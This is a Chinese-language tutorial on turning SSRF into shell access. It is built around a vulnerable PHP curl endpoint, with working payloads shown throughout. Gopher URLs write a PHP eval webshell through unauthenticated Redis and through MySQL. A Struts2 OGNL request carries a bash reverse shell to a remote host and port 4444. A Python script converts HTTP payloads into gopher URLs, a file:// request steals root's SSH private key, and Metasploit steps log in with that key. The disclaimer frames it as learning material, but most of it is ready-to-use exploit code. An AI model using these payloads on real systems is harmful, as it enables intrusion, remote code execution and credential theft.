不同协议下的SSRF如何获取GetShell
0x00写在前面
本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!
0x01SSRF漏洞介绍
服务端请求伪造(Server-Side Request Forgery)简写SSRF,是一种攻击者构造特殊的请求,由服务端发起请求的安全漏洞。下图简单示例:
SSRF漏洞原理
Web程序如果需要在其他服务器获取一些数据比如远程加载图片、远程获取文件等,就需要指定URL加载其他服务器的资料链接,如果加载远程链接用户可控,价值WEB程序对于远程加载的URL未做过滤和限制,导致服务器可以随便加载任意服务器的数据,从而导致SSRF漏洞产生。从上文中的示例图中可以看到SSRF的实质就是代理服务器,把攻击者A访问服务器B的数据经过存在SSRF漏洞的服务器A转发到服务器B。说到这里,熟悉内网渗透的同学就会想到代理隧道,如果服务器B无法访问,可以借助代理访问服务器B,这里的代理服务器就是服务器A。所以说SSRF的攻击目标一般也是外网无法访问的内部系统,攻击者可以利用SSRF漏洞获取内部系统一些信息,甚至在某些条件的情况下可以获取到服务器的权限,本文将会对SSRF获取SHELL的几种姿势做简单的说明。
初始SSRF ,PHP源文件如下:
if(isset($_GET['url'])) {
//接收URL如果不做过滤就会导致SSRF漏洞
$ch = curl_init();
#echo $_GET['url'];
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
$content=curl_exec($ch);
echo $content;
curl_close($ch);
}
?>
上面的PHP代码前端传进来的url参数,后台直接获取URL参数并调用curl_exec()进行了请求,然后将请求的结果返回给前端。根据官方的解释PHP中curl_exec()函数是执行一个CURL会话。请求URL看一下效果
http://172.20.92.162:81/ssrf2.php?url=http://www.baidu.com
0x02SSRF限制
PHP启用curl需要在php.ini文件中开启curl,在php.ini文件中去掉;就可以支持curl。
;extension=php_curl.dll ###去掉;就可以支持curl
也可也通过phpinfo中cURL support可以看到是否支持cURL,这里可以看到是enabled。
0x03SSRF漏洞利用
通过phpinfo也可以看到CURL支持的协议:
dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtmp, rtsp, smtp, smtps, telnet, tftp
Curl 支持的这些协议也是在curl_exec函数导致的ssrf可以利用的协议,在条件允许的情况下可以Getshell。其他函数下的SSRF file_get_contents()函数,访问URL
http://www.php.com:8080/test.php?url=file:///C:/WINDOWS/system32/drivers/etc/hosts
$url = $_GET[url];
echo file_get_contents($url);//使用file协议读取本地文件,也可以远程访问一个url的页面
?>
fsockopen()函数也可以产生SSRF漏洞,这里不做赘述,以后的文章做详细的说明。Redis协议GetShell 如果网内有未授权的Redis服务器,可以利用SSRF利用操作Redis服务器获取Shell,下面以Redis服务器下写Webshell为例,大家都知道通过redis服务器协议webshell要经过下面的命令操作,将Redis的配置文件写到已知的网站路径下就可以写入WebShell。
set test "\\n\\n\\n\\n"
config set dir /var/www/html/
config set dbfilename shell.php
save
使用工具生成对应的EXP
https://lp.lmboke.com/Gopherus-master.zip
自行下载使用。
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
URL解码之后的内容如下:
*1
$8
flushall
*3
$3
set
$1
1
$30
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
其实就是通过Gopher转发Redis协议的流量数据包,达到Redis未授权访问漏洞利用的效果,也可以利用Redis未授权访问漏洞写计划任务达到getshell的效果,值得注意的一点是,需要将上面的poc再次URL编码发送到服务器上即可执行成功。
剑链接webshell,可以看到已经连接成功。
SSRF内网漏洞getshell,如果内网中存在其他弱点服务器,比如存在Struts2漏洞的服务器、Weblogic服务器等,可以将存在SSRF漏洞的服务器作为跳板机攻击其他内网服务器。Strus2漏洞的Payload如下:
POST /doUpload.action HTTP/1.1
Host: 172.20.92.162:8080
Content-Length: 405
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.92.162:8080
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/172.20.92.162/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data; boundary=----WebKitFormBoundaryopB7ldXmIArG3PDC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.20.92.162:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: csrftoken=9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f; JSESSIONID=1gpevokvbgk3b1rs8v1245zdzb
Connection: close
------WebKitFormBoundaryopB7ldXmIArG3PDC
Content-Disposition: form-data; name="upload"; filename="vk_swiftshader_icd.json"
Content-Type: application/json
{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}
------WebKitFormBoundaryopB7ldXmIArG3PDC
Content-Disposition: form-data; name="caption"
------WebKitFormBoundaryopB7ldXmIArG3PDC--
可能内网中通过HTTP协议漏洞利用的比较多,简单的先上个工具,方便以后在实战过程中利用。
import argparse
import re
from urllib.parse import quote, unquote
def get_data(paylaod_path):
new_file=open(paylaod_path,'r')
return new_file.read().encode()
def encode_url(data):
encodeurl=quote(quote(data)) ##URL编码
return encodeurl
def parse_payload_host(payload_path):
payload_data=get_data(payload_path).decode()
host_pattern=re.search('\nHOST:\s+(.*)\n',payload_data,re.I) ##解析host字段
return host_pattern.groups()[0]
def create_gopher(target_url,payload_path):
host=parse_payload_host(payload_path)
ssrf_url="%sgopher://%s/_"%(target_url,host)
payload_data=get_data(payload_path)
encode_url(payload_data)
result_payload=ssrf_url+encode_url(payload_data)
print(result_payload)
def ssrf_file_encode():
# 创建解析步骤
parser = argparse.ArgumentParser(description='ssrf 利用工具')
parser.add_argument('-f',"--file", required=True,help='需要编码的payload文件地址')
parser.add_argument('-t',"--target", required=True,help='ssrf漏洞地址')
# 解析参数步骤
args = parser.parse_args()
payload_file=args.file
target_url=args.target
create_gopher(target_url,payload_file)
if __name__ == '__main__':
ssrf_file_encode()
使用方法-t输入存在SSRF漏洞的链接地址,-f 参数编码的文件如下:
python ssrf_http_encdoe.py -t http://172.20.92.162:81/ssrf4.php?url= -f struts2_payload
运行后脚本会输出请求的payload
http://172.20.92.162:81/ssrf4.php?url=gopher://172.20.92.162:8080/_POST%2520/doUpload.action%2520HTTP/1.1%250AHost%253A%2520172.20.92.162%253A8080%250AContent-Length%253A%2520405%250ACache-Control%253A%2520max-age%253D0%250AUpgrade-Insecure-Requests%253A%25201%250AOrigin%253A%2520http%253A//172.20.92.162%253A8080%250AContent-Type%253A%2520%2525%257B%2528%2523nike%253D%2527multipart/form-data%2527%2529.%2528%2523dm%253D%2540ognl.OgnlContext%2540DEFAULT_MEMBER_ACCESS%2529.%2528%2523_memberAccess%253F%2528%2523_memberAccess%253D%2523dm%2529%253A%2528%2528%2523container%253D%2523context%255B%2527com.opensymphony.xwork2.ActionContext.container%2527%255D%2529.%2528%2523ognlUtil%253D%2523container.getInstance%2528%2540com.opensymphony.xwork2.ognl.OgnlUtil%2540class%2529%2529.%2528%2523ognlUtil.getExcludedPackageNames%2528%2529.clear%2528%2529%2529.%2528%2523ognlUtil.getExcludedClasses%2528%2529.clear%2528%2529%2529.%2528%2523context.setMemberAccess%2528%2523dm%2529%2529%2529%2529.%2528%2523cmd%253D%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/172.20.92.162/4444%25200%253E%25261%2527%2529.%2528%2523iswin%253D%2528%2540java.lang.System%2540getProperty%2528%2527os.name%2527%2529.toLowerCase%2528%2529.contains%2528%2527win%2527%2529%2529%2529.%2528%2523cmds%253D%2528%2523iswin%253F%257B%2527cmd.exe%2527%252C%2527/c%2527%252C%2523cmd%257D%253A%257B%2527/bin/bash%2527%252C%2527-c%2527%252C%2523cmd%257D%2529%2529.%2528%2523p%253Dnew%2520java.lang.ProcessBuilder%2528%2523cmds%2529%2529.%2528%2523p.redirectErrorStream%2528true%2529%2529.%2528%2523process%253D%2523p.start%2528%2529%2529.%2528%2523ros%253D%2528%2540org.apache.struts2.ServletActionContext%2540getResponse%2528%2529.getOutputStream%2528%2529%2529%2529.%2528%2540org.apache.commons.io.IOUtils%2540copy%2528%2523process.getInputStream%2528%2529%252C%2523ros%2529%2529.%2528%2523ros.flush%2528%2529%2529%257D.multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryopB7ldXmIArG3PDC%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/116.0.0.0%2520Safari/537.36%2520Edg/116.0.1938.62%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250AReferer%253A%2520http%253A//172.20.92.162%253A8080/%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%252Cen-GB%253Bq%253D0.7%252Cen-US%253Bq%253D0.6%250ACookie%253A%2520csrftoken%253D9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f%253B%2520JSESSIONID%253D1gpevokvbgk3b1rs8v1245zdzb%250AConnection%253A%2520close%250A%250A------WebKitFormBoundaryopB7ldXmIArG3PDC%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522upload%2522%253B%2520filename%253D%2522vk_swiftshader_icd.json%2522%250AContent-Type%253A%2520application/json%250A%250A%257B%2522file_format_version%2522%253A%2520%25221.0.0%2522%252C%2520%2522ICD%2522%253A%2520%257B%2522library_path%2522%253A%2520%2522.%255C%255Cvk_swiftshader.dll%2522%252C%2520%2522api_version%2522%253A%2520%25221.0.5%2522%257D%257D%250A------WebKitFormBoundaryopB7ldXmIArG3PDC%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522caption%2522%250A%250A%250A------WebKitFormBoundaryopB7ldXmIArG3PDC--%250A
在vps监听端口,将生成的payload放到burp中发送请求,发现已经shell已经反弹成功。
这里本来想要继续拓展一下,其实可以利用SSRF漏洞作为一个HTTP代理服务器实现对内网网站的访问,奈何篇幅有限,以后有机会上传github供各位师傅食用。
SSRF漏洞Mysql协议getshell,gopher协议也可以操作mysql,通过mysql协议写入webshell。一般是通过 into outfile 写入文件,我们知道在Mysql协议写入是要有一定的限制条件的,利用SSRF通过Mysql写入Webshell也需要一定的条件。
1.限制
mysql 免密登录
Mysql开启secure_file_priv,Mysql中secure_file_priv默认是NULL,是禁止导入导出的,需要将secure_file_priv值置为空。
curl版本大于7.49(可能会存在%00截断问题)
2.利用
Give MySQL username: root
Give query to execute: select "" into outfile "/var/www/html/shell.php"
生成的POC如下:
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%38%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%01%00%00%00%01
这里面需要注意一点,cURL版本在7.35 上gopher协议存在bug(%00截断) 经测试7.49 可用,使用cURL可以测试生成Webshell的效果。
SSRF漏洞ssh私钥getshell,如果服务器存在SSH公钥,可以通过SSH获取SSH的公钥文件,文件路径在,/root/.ssh/id_rsa.pub,可以使用file协议获取,请求POC如下:
GET /ssrf4.php?url=file:///root/.ssh/id_rsa&code=utf-8 HTTP/1.1
Host: 172.20.92.162:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: csrftoken=9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f; JSESSIONID=1gpevokvbgk3b1rs8v1245zdzb
Connection: close
将获取到的私钥文件拷贝本地服务器的/opt/id_rsa文件内,使用msf的 auxiliary/scanner/ssh/ssh_login_pubkey模块,设置如下:
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set username root
username => root
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /opt/id_rsa
key_path => /opt/id_rsa
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 172.20.92.162
rhosts => 172.20.92.162
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rport 1022
rport => 1022
msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run
然后静等返回的session。
可以看到session已经获取成功,简答的执行命令。
0x04总结
SSRF漏洞在实战当中还有很多种利用的姿势,大多数结合其他的漏洞扩散的思路,比如使用XSS和XXE漏洞,希望各位大佬天天可以Getshell。